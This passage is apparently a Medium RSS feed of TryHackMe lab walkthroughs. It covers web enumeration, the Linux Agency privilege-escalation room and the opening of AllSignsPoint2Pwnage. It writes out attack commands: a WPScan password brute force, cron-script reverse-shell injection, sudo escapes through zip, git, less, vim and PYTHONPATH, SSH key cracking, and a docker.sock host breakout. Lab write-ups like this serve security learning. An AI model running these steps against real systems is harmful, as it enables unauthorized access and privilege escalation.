/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t50</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nn200W8mO-LwzeF9PAmfuA.png" /><figcaption>gobuster vhosts</figcaption></figure><p>Q: There’s another flag to be found in one of the virtual hosts! Find it!</p><blockquote>for vhost in products learning; do gobuster dir -u <a href="http://${vhost}.webenum.thm/">http://${vhost}.webenum.thm</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt -t50 ; done</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VYn-Xw2ik6hr9jdVhigwg.png" /><figcaption>gobuster</figcaption></figure><blockquote>Now we can pull the flag down with curl… Though because of the vhost entry we hand to specify the — resolve flag with curl.</blockquote><blockquote>curl --resolve &#39;products.webenum.htm:80:10.10.xx.xx&#39; <a href="http://products.webenum.thm/flag.txt">http://products.webenum.thm/redacted.xxx</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKWaltMqw9jtr2m4U9oIkw.png" /></figure><p><strong>Task 7 : 2. Introduction to WPScan</strong></p><p>This task goes over the installation, updating and basic usage of WPScan</p><p><strong>Task 8 : 2.1 WPScan Modes</strong></p><p>Q: What would be the full URL for the theme “twentynineteen” installed on the WordPress site: “http://cmnatics.playground&quot;</p><blockquote>A: This is covered in the discussion of enumerating for installed themes and is theoretical as you have not deployed a machine for this portion yet.</blockquote><blockquote><a href="http://cmnatics.playground/wp-content/themes/twentynineteen">http://cmnatics.playground/wp-content/themes/twentynineteen</a></blockquote><p>Q: What argument would we provide to enumerate a WordPress site?</p><blockquote>A: enumerate</blockquote><p>Q: What is the name of the other aggressiveness profile that we can use in our WPScan command?</p><p>A:<em> passive — Thi</em>s is found by running wpscan — help or in the discussion of <em>2.1 WPScan modes</em>.</p><p><strong>Task 9: 2.2. Practical: WPScan (Deploy #2)</strong></p><p>Deploy the new machine. You may have to terminate your previous Gobuster machine and then start the WPScan Machine. Once the machine has stated up follow the instructions to update your /etc/hosts file with the proper entries for the lab.</p><p>Q: Enumerate the site, what is the name of the theme that is detected as running?</p><blockquote>A: This can be found by looking at the source of the page and grep for theme. twentynineteen</blockquote><pre>wget -O- <a href="http://cmnatics.playground/">http://cmnatics.playground</a> | grep theme</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSh9sOFDjA2CehlCqxZxEQ.png" /></figure><p>Q: WPScan says that this theme is out of date, what does it suggest is the number of the latest version?</p><blockquote>A: I couldn’t get WPScan to detect the theme; but since I manually found that it was twentynineteen I checked <a href="https://wordpress.org/themes/twentynineteen/">online</a> for the correct version and found it is 2.0.</blockquote><figure><img alt="https://wordpress.org/themes/twentynineteen/" src="https://cdn-images-1.medium.com/max/1024/1*aU89ZU8NFdZW1gW9_Vn8mQ.png" /></figure><p>Q: Enumerate the site, what is the name of the plugin that WPScan has found?</p><blockquote>A: wpscan — url <a href="http://cmnatics.playground/">http://cmnatics.playground</a> -e ap</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQ10zfMqVjUGYMqop2D5jQ.png" /></figure><p>Q: Enumerate the site, what username can WPScan find?</p><p>wpscan — url <a href="http://cmnatics.playground/">http://cmnatics.playground</a> -e u</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCk2Gk1ZZJTYJtZmKFdn5Q.png" /></figure><p>Q: Construct a WPScan command to brute-force the site with this username, using the rockyou wordlist as the password list. What is the password to this user?</p><blockquote>A: Here we can just add the --passwords and give it the path to rockyou.txt and see what we find.</blockquote><p>wpscan — url <a href="http://cmnatics.playground/">http://cmnatics.playground</a> --passwords /usr/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ThQHTGlvgMwa9XiVCFyiQ.png" /></figure><p>Task 10: 3. Introduction to Nikto</p><p>Gives a little history and a quick introduction to Nikto</p><p>Task 11 : 3.1. Nikto Modes</p><p>Q: What argument would we use if we wanted to scan <strong>port 80</strong> and <strong>8080</strong> on a host?</p><blockquote>A: This is covered in the reading “<strong>Scanning Multiple Hosts &amp; Ports” </strong>in the same section. -p 80,8080</blockquote><p>Q: What argument would we use if we wanted to see any cookies given by the web server?</p><blockquote>A: -display 2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbdHdfVfoRZiZQ1YkDMxCQ.png" /></figure><p><strong>Task 12 3.2. Nikto Practical (Deploy #3)</strong></p><p>Q: What is the name &amp; version of the web server that Nikto has determined running on <strong>port 80?</strong></p><blockquote>A: nikto -h 10.10.XX.XX -p 80</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04HiNKsVrTbAczvKJmKwwQ.png" /></figure><p>Q: There is another web server running on another port. What is the name &amp; version of this web server?</p><blockquote>A: By scanning the site with nmap and then piping it to nikto we can find and scan the other site.</blockquote><blockquote>nmap --top-ports 1000 10.10.64.208 -oG - | nikto -h</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wSwJHTglAGTzPyx3jwNfNA.png" /></figure><p>Q: What is the name of the Cookie that this JBoss server gives?</p><blockquote>A: We can run add in the -Display 2 option and get the cookie for the JBoss server. <em>Note that -Display starts with a capital letter.</em></blockquote><blockquote>nikto -h 10.10.64.208 -p 8080 -Display 2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKHMz1GbX05Y9HhVjPC5IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*h9gBeFk_N3QGR0AuHBWlOg.png" /></figure><p>Thank you to <a href="https://tryhackme.com/p/ben">ben</a> and <a href="https://tryhackme.com/p/cmnatic">cmnatic</a> and <a href="https://tryhackme.com/p/Nameless0ne">NamelessOne</a>. Great room on web enumeration!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d72c29941cff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Linux Agency]]></title>
            <link>https://octothorp88.medium.com/tryhackme-linux-agency-de3a31dd144?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/de3a31dd144</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Sun, 18 Apr 2021 01:52:25 GMT</pubDate>
            <atom:updated>2021-07-01T14:09:48.734Z</atom:updated>
            <content:encoded><![CDATA[<p>Linux Agency is a <a href="https://tryhackme.com/">TryHackMe</a> room created by <a href="https://twitter.com/0z09e">0z09e</a> and <a href="https://twitter.com/xyan1d3">Xyan1d3</a> to help sharpen your linux skills and help you learn basic privilege escalation in a HITMAN theme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tnvWd9fQJYNrOV_mcP4tmg.jpeg" /><figcaption>Linux Agency</figcaption></figure><p>I am by no means a linux guru but I enjoy linux and love working on the command line …so lets get cracking!</p><p><strong>Task 1: Deploy the machine</strong></p><p>I deployed the machine and decided to stick with the provided TryHackMe attack box provided to subscribers. The cost is minimal and well worth the investment! You can <a href="https://tryhackme.com/signup">Sign Up here</a> ← Stock non referral link, and is well worth it! If you find something better for the money please let me know.</p><p><strong>Task 2: Let’s Jump in</strong></p><p>You are provided with a ssh <em>username</em> and <em>password</em> and told that with each flag you find will server as the password for the next user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ppjt9eczi9eXUK8csG_LtQ.png" /><figcaption>Task 2: Instructions</figcaption></figure><p>Q: SSH into the box as agent47</p><blockquote>A: ssh agent47@ip.address</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KBvkFYrgCkT5ag18p2xO9w.png" /></figure><p><strong>Task 3: Linux Fundamentals</strong></p><p>Q: What is the mission 1 flag?</p><blockquote>A: Once you SSH in you will be provided with the mission1{md5sum} ← that is the answer</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCXMcAfQBy6JdPSvlxoc8A.png" /><figcaption>switching user to mission1 with su</figcaption></figure><blockquote>So once you get the mission1{md5sum.random.numbers} you need to right click and copy this. <em>Then type</em> su — mission1 <em>and</em> right-click and paste the <em>mission{md5sum.random.bla}</em> <em>password into the prompt and finish by pressing </em>enter<em>.</em></blockquote><p>Q2: What is the mission2 flag? #<em>hint: Don’t forget to bring the groceries, the list is inside your bag.</em></p><blockquote>A2: type ls</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Zuz9lYn2U1zzxOBtQ2_5A.png" /><figcaption>mission1</figcaption></figure><blockquote>By performing a directory listing withls we can see a file name that is actually the flag.</blockquote><p>Q3: What is the mission3 flag?</p><blockquote>A3: cat flag.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P6tleShTuZjal_gpuXMPNA.png" /><figcaption>mission2</figcaption></figure><p>Q4: What is the mission4 flag?</p><blockquote>A4: strings ~/flag.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fj_oH9hNNtB-RT_0NC1BCQ.png" /><figcaption>mission3</figcaption></figure><p>Q5: What is the mission5 flag?</p><blockquote>A5: A directory listing shows a flag folder, inside the folder is a file called flag.txt.</blockquote><blockquote>cat flag/flag.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yK2abCREn5oX3WTXghpx1A.png" /><figcaption>mission4</figcaption></figure><p>Q6: What is the mission6 flag?</p><blockquote>A6: <em>ls -la </em>shows a hidden .flag.txt file. Use <em>cat .flag.txt</em> to show the contents of the flag.</blockquote><blockquote>A6: A regular <em>ls</em> will does not show any files so you need to list hidden files by using a <em>ls -la</em>.</blockquote><blockquote>ls — list directory contents</blockquote><blockquote>-l : use long listing format<br>-a — all : list all files including files starting with a period.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tiTzDgwroHNoYzJKuLj1SQ.png" /><figcaption>mission5</figcaption></figure><p>Q7: What is the mission7 flag?</p><blockquote>A7: <em>ls -la </em>shows a hidden .flag directory with the flag.txt inside of the .flag directory. Use <em>cat .flag/flag.txt</em> to show the contents of the flag.</blockquote><blockquote>A6: A regular <em>ls</em> will does not show any files so you need to list hidden files by using a <em>ls -la</em>.</blockquote><blockquote>ls — list directory contents</blockquote><blockquote>-l : use long listing format<br>-a — all : list all files including files starting with a period.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bc0ztffq4mpjvErmV0xKaQ.png" /><figcaption>mission6</figcaption></figure><p>Q8: What is the mission8 flag?</p><blockquote>A8: There is a message that says there is no home directory specified so we are logging into the root <em>/</em> file system. The basic linux directory structure tells us our home directory should be under <em>/home</em>. Sure enough the flag is found under <em>/home/mission7/flag.txt</em>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tQvDVpOtYGfRgMzLBpNsDw.png" /><figcaption>mission7</figcaption></figure><p>Q9: What is the mission9 flag?</p><blockquote>A9: A quick look around the home directory and environment variables didn’t reveal anything but a global find revealed the flag.txt at the root of the filesystem.</blockquote><blockquote>find — search for files in a directory hierarchy</blockquote><blockquote><em>/ </em>: tells find to start at the root of the file system<br><em>-type f </em>: will only search for files</blockquote><blockquote><em>2&gt;/dev/null</em> : will redirect error messages to <em>/dev/null</em> #veryhandy</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NkUaUzaNVEF6lNoNt7pmEw.png" /><figcaption>mission8</figcaption></figure><p>Q10: What is the mission10 flag?</p><blockquote>A10: Looking in the directory we can see a rockyou.txt file. Using wc to get a word-count of the file shows there are over 14 million lines in this file. So instead of paging through it all we will perform a grep for mission10 and see if we get a hit. Success!</blockquote><blockquote>grep mission10 rockyou.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOSnCOdSGK49lxKLlwWuPA.png" /><figcaption>mission9</figcaption></figure><p>Q11: What is the mission11 flag?</p><p>A11 Doing a directory listing in the home folder shows a single folder that contains 8,236 folders with one flag.txt file hidden somewhere in the directory structure.</p><p>A quick find command will display the file and a passing a cat command to the -exec flag will show the contents of the file as well. Because this is mission10’s home folder I intentionally left off the 2&gt;/dev/null because I should not get any errors here and If I do I would like to see it.</p><pre>find ./ -type f -name flag.txt</pre><pre>find ./ -type f -name flag.txt -exec cat {} \;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rwfHnd_ht-BV1VTq7H4XAw.png" /><figcaption>Mission 10</figcaption></figure><p>Q12: What is the mission12 flag?</p><blockquote>A12: After some poking around and the usual searching gave no results. But looking into the environemnt variables gives us what we are looking for.</blockquote><blockquote>env | grep -i flag</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swA5gzcnsXmiREyUfp3zKw.png" /><figcaption>mission11</figcaption></figure><p>Q13: What is the mission13 flag?</p><blockquote>A13: A directory listing shows the file flag.txt but we get a permission denied when we try to view it. It shows that mission12 is the owner of the file so all we need to do is give us access to it. a chmod 600 flag.txt will give us permissions to read and write to the file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgkewRc-IyWU0eNKuEqHaw.png" /><figcaption>mission12</figcaption></figure><p>Q14: What is the mission14 flag?</p><blockquote>A14: We can see the flag file in the mission13 home directory but it is base64 encoded.</blockquote><blockquote>cat flag.txt | base64 -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yA0a3hT4hkmayBuAx9MSA.png" /><figcaption>mission13</figcaption></figure><p>Q15: What is the mission15 flag?</p><blockquote>A15: We can see the flag in the directory but it is only a bunch of ones and zeros… lets see what we can do to convert it.</blockquote><blockquote>sed &#39;s/$/P/g;s/^/2i/&#39; flag.txt | dc;echo</blockquote><p>Yup that worked ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWVrEuvAJyMcxSkuas6a7w.png" /><figcaption>mission14</figcaption></figure><p>Q16: What is the mission16 flag?</p><blockquote>A16: The directory listing shows us the flag.txt file but when we look at the contents we can see that it only contains letters and numbers …looks a little like hex.</blockquote><blockquote>cat flag.txt | xxd -r -p; echo</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SE9bZDzv8yThGOBWWhSBDA.png" /><figcaption>mission15</figcaption></figure><p>Q17: What is the mission17 flag?</p><blockquote>A17: A directory listing shows us a flag file, by further inspecting it with file flag we can see that it is an elf executable. So if we make it executable with chmod +x flag we can then execute it. ./flag which will give us the flag.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BaLD3fjXZfyqKUVDJP2NGw.png" /><figcaption>mission16</figcaption></figure><p>Q18: What is the mission18 flag?</p><blockquote>A18: There is a flag.java file in the home directory which contains some source code. Since it ends with .java I am assuming that it is in fact java. Lets compile and run it.</blockquote><pre>javac flag.java # will compile the class file</pre><pre>java flag # will run the file and give the flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sAuxZrQPhpFAsFrAu27ofg.png" /><figcaption>mission17</figcaption></figure><p>Q19: What is the mission19 flag?</p><blockquote>A19: We can see a flag.rb file which I am assuming is a ruby file. Lets run it.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aa14mjG7-LbCZ898CeGhxQ.png" /><figcaption>mission18</figcaption></figure><p>Q20: What is the mission20 flag?</p><blockquote>A20: In the directory is a flag.c file so we will use gcc file.c to compile it and then run the program.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sSkb5LE9qUcppmoJoxRBxg.png" /></figure><p>Q21: What is the mission21 flag?</p><blockquote>A21: In the directory is a flag.py file. We can run it with python3 flag.py.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GiNDvYUmCAQgxD6s6yEUIw.png" /></figure><p>Q22: What is the mission22 flag?</p><p>A22: Once we log into mission21 something looks off as I do not have my normal bash prompt. I run a id just to see what account and permissions I have. Then I do a cat /etc/passwd | grep mission21 to see what shell I was supposed to have. Well I decided to switch to bash by typing /bin/bash and boom… the flag is there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9LupPKhA6zrxxrE662Uhg.png" /></figure><p>Q23: What is the mission23 flag?</p><blockquote>A23: We are immediately provided with a python prompt. So we should be able to perform a simple python escape with import pty; pty.spawn(&quot;/bin/bash&quot; and then we can find and cat the flag.txt.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STA9GGkRaLHLjrYgy64rdQ.png" /></figure><p>Q24: What is the mission24 flag?</p><blockquote>A24: Initially we find a message that states the hosts will help you... maybe you will need curly hairs. This immediately leads me to the /etc/hosts file that shows an entry for mission24.com. Now the curly hint leads me to believe I need to use curl to access the mission24.com site.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1IPPfkNSXbiNNO3i3g3vuA.png" /></figure><p>Q25: What is the mission25 flag?</p><blockquote>A25: We can see an executable file called bribe on the file system. When we run it for the first time it tells us to give some money and we will get the flag.. So lets run ltrace and see what’s happening. Here we can see there are some empty envirnment variables named pocket and init. Lets put some money in the pocket variable with export pocket=money and then re run the program.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*co2vKhkANiXGaQhBQCWt-w.png" /></figure><p>Q26: What is the mission26 flag?</p><blockquote>A26: any command we run gives us -su: command: No such file or directory which seems like the os cannot find the file. Running an export command we can see that the PATH variable is set to nothing. We should be able to path the commands out manually. by typing /bin/ls we can see a flag.txt file in our current directory. Running /bin/cat flag.txt will work.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2n4mCCL17bXdE5r4qd_bbA.png" /></figure><p>Q27: What is the mission27 flag?</p><blockquote>A27: In our home directory we can see a <em>flag.jpg</em> file. Inspecting the file with the file command to see what we are dealing with… and there is the flag.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sx-VAa1e1E6lWjCJABv0YA.png" /></figure><p>Q28: What is the mission28 flag?</p><blockquote>A28: In the directory is a gzip compressed file … I was assuming I was going to be in for some crazy Russian doll type of situation… but that wasn’t the case.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AUm2D380VoPTB1GQ6LNffg.png" /></figure><p>Q29: What is the mission29 flag?</p><blockquote>A29: When we log into mission28 we are presented with an interactive ruby shell irb(main):001:0&gt; so we should be able to perform a simple shell escape with exec “/bin/bash”.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZemeJSXBGcr1VAU4FVq9A.png" /></figure><p>Q30: What is the mission30 flag?</p><blockquote>A30: We can see a build it directory with some web’ish files. Lets do a quick find command to see if there is anything with mission30 in it… bingo!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQumPeailvCW71dGpmUqJQ.png" /></figure><p>Q30: What is victor’s flag?</p><blockquote>A30: Initially there is a directory called Escalator with a python script in it. But inspecting the directory further we can see a .git folder. Nice this is a git repo and we may be able to recover some additional information.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v1CrSN3Ou3aFXVhWLXTxlA.png" /></figure><p><strong>Task 4: Privilege Escalation</strong></p><p>We now need to su into the viktor account and start performing some privilege escalation.</p><p>Q: What is dalia’s flag?</p><blockquote>A: After some searching around I found a crontab entry that was being run as dalia. per the crontab entry we only have 30 seconds to get the job done. So after failing the first couple of edits. I just created a while loop to continuously inject my reverse shell into the script every 20 seconds.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N_PublMwtHgem8TS5l3aJw.png" /></figure><p>Q: What is silvio’s flag?</p><blockquote>A: running a sudo -l you find out that dalia can run zip as silvio. But in order to accomplish this we need a better shell than a simple netcat listerner. This can be accomplished by using python to spawn a pty shell using the pty module.</blockquote><blockquote>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)</blockquote><blockquote>To stabilize the shell you will need to background the shell with ctrl-z the type stty raw -echo ; fg to adjust the terminal and bring it back in the foreground. Next type reset and enter</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3nnFqWzz9B7iBv54HwC_ow.png" /></figure><blockquote>We should now have a fully interactive terminal with tab completion and be able to run other commands… like sudo.</blockquote><blockquote>seeing that we can run zip as silvio we can refer to <a href="https://gtfobins.github.io/gtfobins/zip/">gtfo bins</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSYJKe6E_YrAGEChKhJAdw.png" /><figcaption><a href="https://gtfobins.github.io/gtfobins/zip/">https://gtfobins.github.io/gtfobins/zip/</a></figcaption></figure><blockquote>Because we can only run zip as silvio we need to modify the sudo command with sudo -u silvio to run zip as the user we want.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9PwGHw8VRmlnPtw_TEHEw.png" /></figure><blockquote>Now we can go to silvio’s home directory and get the flag.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cy0kM0EmnZ2qoouCf1ZT1w.png" /></figure><p>Q: What is reza’s flag?</p><blockquote>Here we can check our sudo rights with sudo -l and it shows we can run git as user reza.</blockquote><blockquote>A quick look into<a href="https://gtfobins.github.io/gtfobins/git/"> gtfo bins</a> we find a usable way to spawn a shell using git once we add in the -u reza modification.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AK4eVzXKeHyGOCizPCrfjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBZg1Dcs3SLfrTzrxUKigg.png" /></figure><p>Q: What is jordan’s flag?</p><blockquote>A: Sudo -l show us that we can run a python script as jordan. But when we run it we get notified that the script cannot find the shop module. Unfortunately /opt/scripts is not writable so we need to find a place that is writable to create our shop.py module and then instruct python to look for it there.</blockquote><blockquote>first we need to create the shop.py module to spawn a shell for us and then get the Gun-Shop.py script to launch it for us.</blockquote><blockquote>echo “import pty;pty.spawn(‘/bin/bash’)” &gt; /tmp/shop.py</blockquote><blockquote>Now we can specify the PYTHONPATH variable on the command line by typing sudo -u jordan PYTHONPATH=/tmp/ script.py</blockquote><blockquote>Information on PYTHONPATH can be found <a href="https://www.tutorialspoint.com/What-is-PYTHONPATH-environment-variable-in-Python">here</a>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQRER7NbYIc5J383W3-hww.png" /></figure><p>Q: what is ken’s flag?</p><blockquote>A: Here we run a sudo -l and find that we can run less as ken.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3Fg2uxoltbb_FuQDzss1g.png" /></figure><blockquote>we are running the ls command and piping it to sudo -u ken less</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDQEL9TZ0BwYLm43ioB3fg.png" /></figure><blockquote>Now we see the output of the ls command inside of less. From here if we type !/bin/bash we will launch a bash shell as user ken.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E5_2dll3maLc_Y3AZyqP-g.png" /></figure><p>Q: What is sean’s flag?</p><blockquote>A: This is similar to the last one except with vim… and we can escape a similar way by invoking vim’s execute command function by typing :!/bin/bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5GHpVogWXqzt7Tx0y62Ybg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNXj7kRMQsiAQlkfpqAMBg.png" /></figure><blockquote>With all of that said, I could not find a flag file… so I assumed that the file would contain sean{hashorsomethiing} So I figured I would just search all the files containing what looked like the flag.</blockquote><blockquote>I was unable to find the flag .txt file anywhere on the file system so I did a search through the filesystem and got a good hit.</blockquote><blockquote>find /home /opt /var /usr /mnt /etc /tmp -type f -exec egrep -iH ‘sean\{.*\}’ {} \; 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BcdkExYdZT8AQxVvYz4OoA.png" /></figure><blockquote>Hmmm what is that base64 in there?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xS6jujQomSAufPcLQ00huw.png" /></figure><p>Q: What is penelope’s flag?</p><blockquote>A: Lets take a look at that base64 near sean’s flag. Here we get penelope’s password so we can switch user and grab the flag.txt in penelope’s home directory.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lyMdVf1iMe47UZdKgdsDuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W26YLgOjkhVn3ZEzbplHOg.png" /></figure><p>Q: what is maya’s flag?</p><blockquote>A: Well that red suid binary looks like it might have some promise. It is suid by maya, assuming that the flag is in her directory we should be able to read it with base64.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wv869pxkcgETxXGmSpdgzw.png" /></figure><p>Q: what is roberts’s Passphrase?</p><blockquote>A: Inside of maya’s home directory we can see a directory called old_rober_ssh that contains a set of SSH keys. Lets crack the passphrase with john the ripper back on our attack box.</blockquote><blockquote>After a few moments the passphrase is cracked.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jMHIMITuEQi5wltRZTbWAA.png" /></figure><blockquote>Lets look for a place to use this passphrase.</blockquote><blockquote>After some initial struggling I looked to see what ports were listening on the host and saw a few ports that looked promising.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tToOjO85-LD9rIRFVQiwAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0jkFfRIjxPDrjXdIwNERQ.png" /></figure><blockquote>ssh -p 2222 robert@127.0.0.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NIQnYMEoKN-Vrdvx74emkg.png" /></figure><blockquote>After logging in as robert we can see a robert.txt file but it obviously isn’t the user.txt file we needed.</blockquote><blockquote>But sudo is an option but !root doesn’t help much… lets see if its vulnerable to <a href="https://www.sudo.ws/alerts/minus_1_uid.html">bypass</a>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pu1bmU7mLRI2gb9x7zi6fw.png" /><figcaption>sudo bypass</figcaption></figure><blockquote>After a lot of searching and getting nowhere I looked at the hint</blockquote><blockquote><em>HINT: Blue whale was a bad game. Wasn’t it ???</em></blockquote><blockquote>Ok, I’m assuming it’s a docker escape….</blockquote><p><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">Docker Breakout</a></p><blockquote>Following the<a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout"> HakTricks docker-breakout</a> we need to run a couple of commands to mount the host filesystem.</blockquote><blockquote>find / -name docker.sock 2&gt;/dev/null</blockquote><blockquote>/tmp/docker images #lucky they left this executable in the /tmp dir ;)</blockquote><blockquote>/tmp/docker run -it -v /:/host/ mangoman chroot /host/ bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prT9o_1dSOTXCaW0L3LMYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/0*FujrCMvdf7pIfpRM.png" /></figure><p>What a fun room! It took a couple of sessions and a lot of time to get it completed, but well worth it.</p><p>Thank you to <a href="https://tryhackme.com/p/Xyan1d3">Xyan1d3</a> and <a href="https://tryhackme.com/p/0z09e">0z9e</a> for a great room!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de3a31dd144" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | AllSignsPoint2Pwnage]]></title>
            <link>https://octothorp88.medium.com/tryhackme-allsignspoint2pwnage-581f6ac4a7e8?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/581f6ac4a7e8</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Thu, 15 Apr 2021 02:02:28 GMT</pubDate>
            <atom:updated>2021-04-15T02:20:15.593Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/allsignspoint2pwnage">AllSignsPoint2Pwnage</a> is a <a href="https://tryhackme.com/">TryHackMe</a> room written by <a href="https://tryhackme.com/p/apjone">apjone</a> that contains a rushed Windows based Digital Signage system that would like to be exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iwqdkamMg_Y7vXkrGIJXQ.png" /></figure><p><strong>Task 1 : Enumeration</strong></p><p>Here we need to deploy the machine and begin the enumeration.</p><p>Q: How many TCP ports aunder 1024 are open?</p><blockquote>A: 6</blockquote><pre>nmap -sS -sV -vv --top-ports 1000 10.10.104.217 | grep open</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1f3JTV-NNh41hbtWVsxayw.png" /><figcaption>Initial nmap scan</figcaption></figure><p>The system is running a anonymous FTP server which always requires some quick poking around even if there isn’t a question asking for any specific information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pf_HqZ16H_wCImPT1OACbQ.png" /></figure><p>Once we log into the FTP server we can see that there is a file named <em>notice.txt </em>and it states that the ftp contents have been moved to a hidden windows share …you know, for security reasons ;)</p><figure><img alt="" 